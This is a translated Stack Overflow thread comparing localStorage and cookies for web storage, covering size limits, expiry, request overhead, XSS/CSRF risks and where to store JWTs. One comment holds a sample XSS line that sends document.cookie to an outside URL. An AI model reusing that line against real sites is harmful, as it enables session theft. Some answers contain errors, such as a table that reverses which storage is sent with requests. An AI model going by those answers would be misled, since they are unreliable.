Локальное хранилище против файлов cookie

Я хочу сократить время загрузки своих веб-сайтов, переместив все файлы cookie в локальное хранилище, поскольку они, похоже, имеют те же функции. Есть ли какие-либо плюсы / минусы (особенно с точки зрения производительности) в использовании локального хранилища для замены функций cookie, за исключением очевидных проблем совместимости?


person Gio Borje    schedule 10.07.2010    source источник
comment
Возможный недостаток: значения localStorge на защищенных (SSL) страницах изолированы. Поэтому, если на вашем сайте есть страницы как http, так и https, вы не сможете получить доступ к значениям, установленным на странице http, при посещении страницы https. Только что попробовал localStorage для мини-тележки ajax в магазине Magento. Эпический провал ...   -  person    schedule 10.05.2013
comment
stackoverflow.com/questions/5398604/   -  person geoff    schedule 24.03.2014
comment
на удивление хорошо поддерживается (по сравнению с тем, что я ожидал) caniuse.com/#search=localstorage   -  person Simon_Weaver    schedule 28.04.2015
comment
У некоторых пользователей файлы cookie, как правило, также отключены в своих браузерах. Локальное хранилище могло бы работать лучше для этих пользователей.   -  person evolross    schedule 10.01.2017
comment
Возможный недостаток: значения [localStorage] на защищенных (SSL) страницах изолированы. На самом деле это большой плюс.   -  person curiousguy    schedule 16.06.2018
comment
Вот почему вы должны просто принудительно использовать SSL на своем веб-сайте ... Я не вижу причин предлагать обе версии страницы, если у вас уже есть доступная версия SSL.   -  person xji    schedule 19.08.2018
comment
@evolross, это зависит от того, что вы имеете в виду под словом «лучше работать», ха-ха.   -  person Eoin    schedule 06.02.2020
comment
Согласен! Если доступна версия https, HTTP-запросы можно легко перенаправить на https.   -  person Sanjay Verma    schedule 17.03.2021


Ответы (8)


Файлы cookie и локальное хранилище служат разным целям. Файлы cookie предназначены в первую очередь для чтения на стороне сервера, локальное хранилище может быть прочитано только на стороне клиента. Итак, вопрос в том, кому в вашем приложении нужны эти данные - клиенту или серверу?

Если это ваш клиент (ваш JavaScript), то обязательно переключайтесь. Вы тратите пропускную способность, отправляя все данные в каждом заголовке HTTP.

Если это ваш сервер, локальное хранилище не так полезно, потому что вам придется каким-то образом пересылать данные (с помощью Ajax или скрытых полей формы или чего-то еще). Это может быть нормально, если серверу требуется только небольшое подмножество общих данных для каждого запроса.

В любом случае вы захотите оставить файл cookie сеанса в качестве файла cookie.

Согласно технической разнице, а также моему пониманию:

  1. Помимо того, что файлы cookie являются старым способом сохранения данных, они предоставляют ограничение в 4096 байт (фактически 4095) на один файл cookie. Размер локального хранилища составляет 5 МБ на домен SO Вопрос также упоминает об этом.

  2. localStorage - это реализация Storage Интерфейса. Он хранит данные с без срока действия и очищается только с помощью JavaScript или очистки кеша браузера / локально сохраненных данных, в отличие от истечения срока действия файлов cookie.

person jpsimons    schedule 10.07.2010
comment
HTML5 имеет хранилище с привязкой к сеансу, которое также можно использовать как замену сеансовым cookie-файлам. - person Pat Niemeyer; 03.06.2012
comment
@PatNiemeyer, Вы можете считать sessionStorage файлом cookie, срок действия которого истекает до закрытия браузера (не вкладки). @darkporter, спасибо за ответ. Однако хотелось бы услышать техническую разницу между файлами cookie и локальным хранилищем. ждем вашего редактирования. - person Om Shankar; 17.07.2012
comment
@OmShankar Я не уверен, что у вас все еще есть эти сомнения, но вот разница: localStorage остается на клиенте, а cookies отправляются с заголовком HTTP. Это самая большая (но не единственная) разница между ними. - person Andre Calil; 01.11.2012
comment
@AndreCalil, да, я в курсе. Но вы имеете в виду, что файлы cookie не хранятся на клиенте? Поскольку у меня на этот счет совершенно другая идея. - person Om Shankar; 23.12.2012
comment
@OmShankar Я имею в виду, что localStorage не отправляется на сервер при каждом запросе, как файлы cookie. - person Andre Calil; 26.12.2012
comment
@AndreCalil, Верно. Я согласен. LocalStorage может быть не идеальным решением для приложений, которым необходимо отправлять биты данных на сервер. В конце концов, согласно W3, Storage и Offline предназначены для архитектуры приложений. На мой взгляд, файлы cookie - это биты в Интернете. - person Om Shankar; 27.12.2012
comment
Если ваше клиентское приложение взаимодействует с REST API, то использование cookie для хранения и передачи идентификатора сеанса не является идиоматическим в REST. Итак, для меня файлы cookie выглядят как старая технология, которую, вероятно, следует заменить локальным хранилищем (+ JavaScript, если вам нужно передать некоторые данные, такие как идентификатор сеанса, на сервер). - person Tvaroh; 04.11.2013
comment
@Darkporter: вы говорите, что localStorage очищается с очисткой кеша браузера / локально сохраненных данных. Означает ли это, что если пользователь очищает кеш браузера, данные localStorage также удаляются? Или им специально для этого нужно очистить локально сохраненные данные? - person Frank Conijn; 14.08.2014
comment
Да, мой ответ много редактировался. Не просто копировать редактирование, но и добавлять что-то новое. Я копался в истории редактирования и смотрел, кто добавил часть об очистке локального хранилища, потому что это был не я. - person jpsimons; 16.08.2014
comment
могут быть некоторые юридические соображения - если вы находитесь в стране, где вы должны сообщить пользователю, что используете файлы cookie - я не думаю, что вам нужно сообщать им, что вы используете локальное хранилище - person Simon_Weaver; 28.04.2015
comment
Локальное хранилище не обязательно является более безопасным выбором, чем файлы cookie, поскольку оно уязвимо для XSS-атак. Лично я бы выбрал зашифрованный файл cookie HTTPS (возможно, с использованием JWT или JWE) с тщательно спланированной схемой истечения срока действия. т.е. реализовать как политику истечения срока действия файлов cookie, так и процесс обновления файлов cookie на стороне сервера, чтобы снизить вероятность использования файла cookie злонамеренными третьими сторонами. Я написал ответ ниже, цитируя части статьи Stormpath по этому поводу. - person XtraSimplicity; 03.04.2016
comment
Есть еще одно отличие, которое следует учитывать при хранении информации о сеансе в локальном хранилище - мобильное сафари не позволяет вам установить локальное хранилище, поэтому ваше приложение не будет работать с ним. Это не помешает большинству, но это возможно, если вы хотите быть доступными везде и используете локальное хранилище для входа в систему. - person Sahil; 26.09.2016
comment
@XtraSimplicity Если ваш сайт уязвим для XSS, можете ли вы предоставить какие-либо гарантии безопасности? - person curiousguy; 16.06.2018
comment
@curiousguy Со стороны клиента нет. Абсолютная безопасность невозможна, мы можем только снизить риск; поэтому мы не должны полагаться исключительно на безопасность на стороне клиента. - person XtraSimplicity; 17.07.2018
comment
@Sahil Это не совсем так. Он запрещает localStorage только в режиме частного просмотра, но не в обычном режиме просмотра: stackoverflow.com/questions/14555347/ - person xji; 19.08.2018
comment
Вам все еще нужно согласие пользователя для локального хранилища? - person ds_secret; 28.08.2018
comment
@XtraSimplicity Следует отметить, что JWT не зашифрован, а просто закодирован в base64 кодировке. Людей смущает то, что он подписан - третья сторона не может изменять данные в JWT и поддерживать действительную подпись, но они определенно могут прочитать все данные без ключа подписи. - person Anthony Manning-Franklin; 23.02.2019
comment
Спасибо за разъяснение, @ AnthonyManning-Franklin - это очень важное различие! - person XtraSimplicity; 27.02.2019
comment
Файлы cookie, когда вам нужна обратная совместимость со старыми браузерами. Всегда проверяйте серверную часть, не полагайтесь на срок годности Cookie. Если вы используете JWT, у вас истекает срок действия JWT. sessionStorage (до закрытия вкладки). localStorage вам все равно, истечет он или нет (поэтому люди просто используют его как файл cookie JWT, о котором я только что упомянул). Файлы cookie из-за HTTP также могут быть проблемой в некоторых браузерах (и некоторых правилах в некоторых странах) - person Dexter; 02.04.2019

Что касается JWT, Stormpath написал довольно полезную статью, в которой описываются возможные способы их хранения и (не) преимущества каждого метода.

В нем также есть краткий обзор атак XSS и CSRF и способов борьбы с ними.

Я приложил несколько коротких отрывков из статьи ниже, на случай, если их статья будет отключена / их сайт отключится.

Локальное хранилище

Проблемы:

Веб-хранилище (localStorage / sessionStorage) доступно через JavaScript в том же домене. Это означает, что любой JavaScript, запущенный на вашем сайте, будет иметь доступ к веб-хранилищу и из-за этого может быть уязвим для атак межсайтового скриптинга (XSS). Вкратце, XSS - это тип уязвимости, при которой злоумышленник может внедрить JavaScript, который будет работать на вашей странице. Базовые XSS-атаки пытаются внедрить JavaScript через входные данные формы, где злоумышленник ставит предупреждение («Вы взломаны»); в форму, чтобы узнать, запущен ли он браузером и доступен ли он другим пользователям.

Профилактика:

Чтобы предотвратить XSS, общий ответ - ускользнуть и закодировать все ненадежные данные. Но это далеко не все. В 2015 году современные веб-приложения используют JavaScript, размещенный в CDN или внешней инфраструктуре. Современные веб-приложения включают сторонние библиотеки JavaScript для A / B-тестирования, анализа воронки / рынка и рекламы. Мы используем менеджеры пакетов, такие как Bower, для импорта кода других людей в наши приложения.

Что делать, если скомпрометирован только один из используемых вами скриптов? Вредоносный код JavaScript может быть встроен на страницу, и веб-хранилище будет скомпрометировано. Эти типы XSS-атак могут поразить любое веб-хранилище, которое посещает ваш сайт без его ведома. Вероятно, поэтому группа организаций советует не хранить ничего ценного и не доверять какой-либо информации в веб-хранилище. Сюда входят идентификаторы сеанса и токены.

В качестве механизма хранения веб-хранилище не требует соблюдения каких-либо стандартов безопасности во время передачи. Тот, кто читает и использует веб-хранилище, должен проявлять должную осмотрительность, чтобы гарантировать, что они всегда отправляют JWT через HTTPS, а не через HTTP.

Печенье

Проблемы:

Файлы cookie при использовании с флагом cookie HttpOnly недоступны через JavaScript и неуязвимы для XSS. Вы также можете установить флаг Secure cookie, чтобы гарантировать, что cookie будет отправляться только по HTTPS. Это одна из основных причин того, что файлы cookie использовались в прошлом для хранения токенов или данных сеанса. Современные разработчики не решаются использовать файлы cookie, потому что они традиционно требовали, чтобы состояние сохранялось на сервере, тем самым нарушая передовой опыт RESTful. Файлы cookie как механизм хранения не требуют сохранения состояния на сервере, если вы сохраняете JWT в файле cookie. Это потому, что JWT инкапсулирует все, что нужно серверу для обслуживания запроса.

Однако файлы cookie уязвимы для другого типа атак: подделки межсайтовых запросов (CSRF). Атака CSRF - это тип атаки, который происходит, когда вредоносный веб-сайт, электронная почта или блог заставляет веб-браузер пользователя выполнять нежелательное действие на надежном сайте, на котором пользователь в настоящее время аутентифицирован. Это эксплойт того, как браузер обрабатывает файлы cookie. Файл cookie может быть отправлен только в те домены, в которых он разрешен. По умолчанию это домен, в котором изначально был установлен файл cookie. Файл cookie будет отправлен для запроса независимо от того, находитесь ли вы на сайте galaxies.com или hahagonnahackyou.com.

Профилактика:

Современные браузеры поддерживают SameSite flag в дополнение к HttpOnly и Secure. Назначение этого флага - предотвратить передачу файлов cookie в межсайтовых запросах, предотвращая многие виды атак CSRF.

Для браузеров, не поддерживающих SameSite, CSRF можно предотвратить с помощью синхронизированных шаблонов токенов. Звучит сложно, но все современные веб-фреймворки поддерживают это.

Например, в AngularJS есть решение для проверки того, что файл cookie доступен только для вашего домена. Прямо из документов AngularJS:

При выполнении запросов XHR служба $ http считывает токен из файла cookie (по умолчанию XSRF-TOKEN) и устанавливает его в качестве заголовка HTTP (X-XSRF-TOKEN). Поскольку только JavaScript, который работает в вашем домене, может читать cookie, ваш сервер может быть уверен, что XHR поступил из JavaScript, запущенного в вашем домене. Вы можете сделать эту защиту CSRF без сохранения состояния, включив xsrfToken JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Использование защиты CSRF вашего фреймворка веб-приложений делает файлы cookie надежными для хранения JWT. CSRF также можно частично предотвратить, проверив заголовки HTTP Referer и Origin из вашего API. Атаки CSRF будут иметь заголовки Referer и Origin, не связанные с вашим приложением.

Полную версию статьи можно найти здесь: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

У них также есть полезная статья о том, как лучше всего разработать и реализовать JWT, в отношении структуры самого токена: https://stormpath.com/blog/jwt-the-right-way/

person XtraSimplicity    schedule 02.04.2016
comment
Отличный момент. Удивлен, что последствия для безопасности локального хранилища (или его отсутствие для XSS) не были упомянуты ранее в таком хорошо читаемом вопросе - за исключением одного ответа, который, как неверно, IMHO предполагает, что он более безопасен! - person Barry Pollard; 02.04.2016
comment
Честно говоря, я считаю, что разговоры о безопасности немного отвлекают. Да, localStorage доступен для других скриптов на странице ... Но так же _2 _... И да, флаг HttpOnly защищает от кражи cookie, но браузер по-прежнему автоматически отправляет его в соответствующий домен, поэтому ... в основном, когда у вас есть вредоносные скрипты, запущенные на вашей странице, вы уже взломали. - person Stijn de Witt; 20.01.2017
comment
@StijndeWitt Каждый уровень защиты имеет свою силу и слабость. Так что обычно лучше иметь несколько уровней защиты. Просто чтобы дать вам пример: HttpOnly также предотвращает атаки, отличные от ajax, такие как window.location = 'http://google.com?q=' + escape(document.cookie);. Эта атака обходит проверку CORS браузеров. - person Memet Olsen; 20.12.2017
comment
Использование cookie в качестве хранилища не предотвратит CSRF-атаки, если веб-сайт имеет XSS-уязвимость. Согласно OWASP, любая уязвимость межсайтового скриптинга может быть использована для нейтрализации всех доступных сегодня на рынке методов защиты от CSRF ссылка: github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/ - person Imtiaz Shakil Siddique; 05.08.2019
comment
Чем отличается Javascript XSS от простого открытия консоли разработчика на любом веб-сайте и ввода команд в консоль? - person Joseph Kreifels II; 30.03.2021
comment
@JosephKreifelsII Это не так. Но когда вы это делаете, вы знаете, что делаете это. XSS - это процесс автоматизации этого процесса без ведома и / или согласия и / или понимания пользователя. Заставить кого-то ввести что-то в консоль называется Self-XSS. - person David Wheatley; 12.07.2021

С localStorage веб-приложения могут хранить данные локально в браузере пользователя. До HTML5 данные приложения должны были храниться в файлах cookie, включенных в каждый запрос сервера. Большие объемы данных можно хранить локально, не влияя на производительность веб-сайта. Хотя localStorage более современный, у обоих методов есть свои плюсы и минусы.

Печенье

Плюсы

  • Поддержка устаревших версий (существует всегда)
  • Постоянные данные
  • Срок годности

Минусы

  • Каждый домен хранит все свои файлы cookie в одной строке, что может затруднить анализ данных.
  • Данные не зашифрованы, что становится проблемой, потому что ... ... хотя и имеют небольшой размер, файлы cookie отправляются с каждым HTTP-запросом. Ограниченный размер (4 КБ)
  • SQL-инъекция может быть выполнена из файла cookie

Локальное хранилище

Плюсы

  • Поддержка большинством современных браузеров
  • Постоянные данные, которые хранятся прямо в браузере
  • К данным локального хранилища применяются правила одинакового происхождения.
  • Не отправляется с каждым HTTP-запросом
  • ~ 5 МБ хранилища на домен (это 5120 КБ)

Минусы

  • Раньше ничего не поддерживалось: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0.
  • Если серверу нужна сохраненная информация о клиенте, вам придется ее отправить.

localStorage использование практически идентично сессионному. У них есть довольно точные методы, поэтому переключение с сеанса на localStorage действительно детская игра. Однако, если сохраненные данные действительно важны для вашего приложения, вы, вероятно, будете использовать файлы cookie в качестве резервной копии на случай, если localStorage недоступен. Если вы хотите проверить поддержку браузером localStorage, все, что вам нужно сделать, это запустить этот простой скрипт:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

«Значения localStorage на защищенных (SSL) страницах изолированы», как заметил кто-то, имейте в виду, что localStorage не будет доступен, если вы переключитесь с защищенного протокола 'http' на 'https', при этом файл cookie будет по-прежнему быть доступным. Это важно знать, если вы работаете с безопасными протоколами.

person DevWL    schedule 01.04.2016
comment
Выполняемая вами проверка не очень надежна. Существуют браузеры и режимы (частные), которые имеют объект Storage, но не могут установить для него значения. Единственный способ проверить реальную поддержку - попытаться поймать на ней удаление набора. - person JavaScript; 27.04.2016
comment
поскольку «SQL-инъекция может быть выполнена» указано как противопоставление cookie, вы говорите, что это невозможно выполнить из localStorage? - person Martin Schneider; 12.01.2017
comment
Еще один профи для файлов cookie. Файлы cookie могут быть помечены как HTTPOnly. Это означает, что к ним нельзя получить доступ из JavaScript, что, в свою очередь, означает, что никакие вредоносные атаки XSS не могут получить содержимое cookie. Из-за этого я бы не стал утверждать, что локальное хранилище более безопасно, чем файлы cookie. - person wp-overwatch.com; 04.08.2018
comment
@ Mr.Me Хотя XSS-атаки не могут прочитать файл cookie HTTPOnly, злоумышленник может выполнить любой HTTP-запрос, который может выполнить пользователь (по определению), ограниченный только сеансом браузера. Предполагая, что файл cookie сеанса является непрозрачным идентификатором, как почти все файлы cookie сеанса, чтение значения cookie полезно только для выполнения HTTP-запроса, включая его: вы ничего не узнаете, используя только значение cookie. (Обратите внимание, что сеансовые куки-файлы иногда могут быть связаны с определенным исходным IP-адресом, заголовком пользовательского агента или другими характеристиками браузера; XSS-атаки выполняют HTTP-запросы от браузера, поэтому они совпадают.) - person curiousguy; 24.10.2018
comment
Флаг HTTPOnly по-прежнему накладывает ограничение на атаку: атака может произойти только во время сеанса браузера: когда пользователь закрывает браузер, все заканчивается. Атака, связанная с чтением cookie, отличного от HTTPOnly, может выполняться до истечения срока действия идентификатора cookie сеанса (по определению сервера), что иногда может длиться месяцами, поэтому HTTPOnly по-прежнему ограничивает атаки. Итак, HTTPOnly - полезная функция безопасности, но предположение, что HTTPOnly делает XSS незначительной проблемой, очень опасно. - person curiousguy; 24.10.2018
comment
localstorage is more secure. Не могли бы вы прокомментировать, почему некоторые авторитетные мнения сказать обратное?: Stormpath recommends that you store your JWT in cookies for web applications, because of the additional security they provide - person ecoe; 13.12.2018

Файлы cookie:

  1. Представлен до HTML5.
  2. Имеет срок годности.
  3. Удаляется JS или Очисткой данных просмотра браузера или по истечении срока действия.
  4. Будет отправлено на сервер по каждому запросу.
  5. Емкость - 4 КБ.
  6. В файлах cookie могут храниться только строки.
  7. Есть два типа файлов cookie: постоянные и сеансовые.

Локальное хранилище:

  1. Представлено в HTML5.
  2. Не имеет срока годности.
  3. Удаляется JS или Очисткой данных просмотра браузера.
  4. Вы можете выбрать, когда данные должны быть отправлены на сервер.
  5. Емкость составляет 5 МБ.
  6. Данные хранятся неограниченное время и должны быть строкой.
  7. Есть только один тип.
person Seyedraouf Modarresi    schedule 24.12.2019
comment
6. localStorage может хранить только строки, примитивы и объекты должны быть преобразованы в строки перед сохранением. 7. sessionStorage также доступен и идентичен localStorage, за исключением того, что он не сохраняется. - person Robbie Milejczak; 17.02.2020

Также стоит упомянуть, что localStorage нельзя использовать, когда пользователи просматривают в "частном" режиме в некоторых версиях мобильного Safari.

Цитируется из MDN (https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage):

Примечание. Начиная с iOS 5.1, Safari Mobile хранит данные localStorage в папке кэша, которая периодически очищается по требованию ОС, как правило, при нехватке места. Режим приватного просмотра Safari Mobile также полностью предотвращает запись в localStorage.

person benjaminz    schedule 21.11.2017

Что ж, скорость локального хранилища сильно зависит от браузера, который использует клиент, а также от операционной системы. Chrome или Safari на Mac могут быть намного быстрее, чем Firefox на ПК, особенно с новыми API. Как всегда, тестирование - ваш друг (тестов я не нашел).

Я действительно не вижу большой разницы в файлах cookie и локальном хранилище. Кроме того, вам следует больше беспокоиться о проблемах совместимости: не все браузеры даже начали поддерживать новые API-интерфейсы HTML5, поэтому файлы cookie будут вашим лучшим выбором для скорости и совместимости.

person pop850    schedule 10.07.2010
comment
Это просто внутренний проект, поэтому в таких вещах, как кроссбраузерная совместимость, на самом деле нет необходимости. Поскольку файлы cookie отправляются с каждым HTTPRequest (мое приложение имеет ~ 77 запросов), что означает дополнительные накладные расходы на ~ 500 КБ. Я знаю, что очевидным решением является CDN, но я хочу попробовать что-то, что не зависит от сервера. Я сам не смог найти никаких тестов и поэтому надеялся, что кто-то здесь может знать. - person Gio Borje; 11.07.2010
comment
Почему Chrome или Safari на Mac будут быстрее? Это практически один и тот же код браузера, работающий на Mac, Linux или Windows. - person Mark K Cowan; 20.10.2014

Локальное хранилище может хранить до 5 МБ автономных данных, тогда как сеанс также может хранить до 5 МБ данных. Но файлы cookie могут хранить только 4 КБ данных в текстовом формате.

Данные хранилища LOCAl и Session в формате JSON, поэтому их легко анализировать. Но данные файлов cookie имеют строковый формат.

person Avinash Malhotra    schedule 05.08.2016

Ключевые отличия:

Вместимость:

  • Локальное хранилище: 10 МБ
  • Файлы cookie: 4 КБ

Поддержка браузера:

  • Локальное хранилище: HTML5.
  • Файлы cookie: HTML4, HTML5.

Место хранения:

  • Локальное хранилище: только браузер
  • Файлы cookie: браузер и сервер

Отправить с запросом:

  • Локальное хранилище: да
  • Файлы cookie: нет

Доступ с:

  • Локальное хранилище: любое окно
  • Файлы cookie: любое окно.

Срок годности:

  • Локальное хранилище: никогда не истекает, пока не будет выполнено с помощью javascript.
  • Файлы cookie: Да, срок годности истекает.

Примечание: используйте то, что вам подходит.

person MuhammadAliDEV    schedule 12.05.2021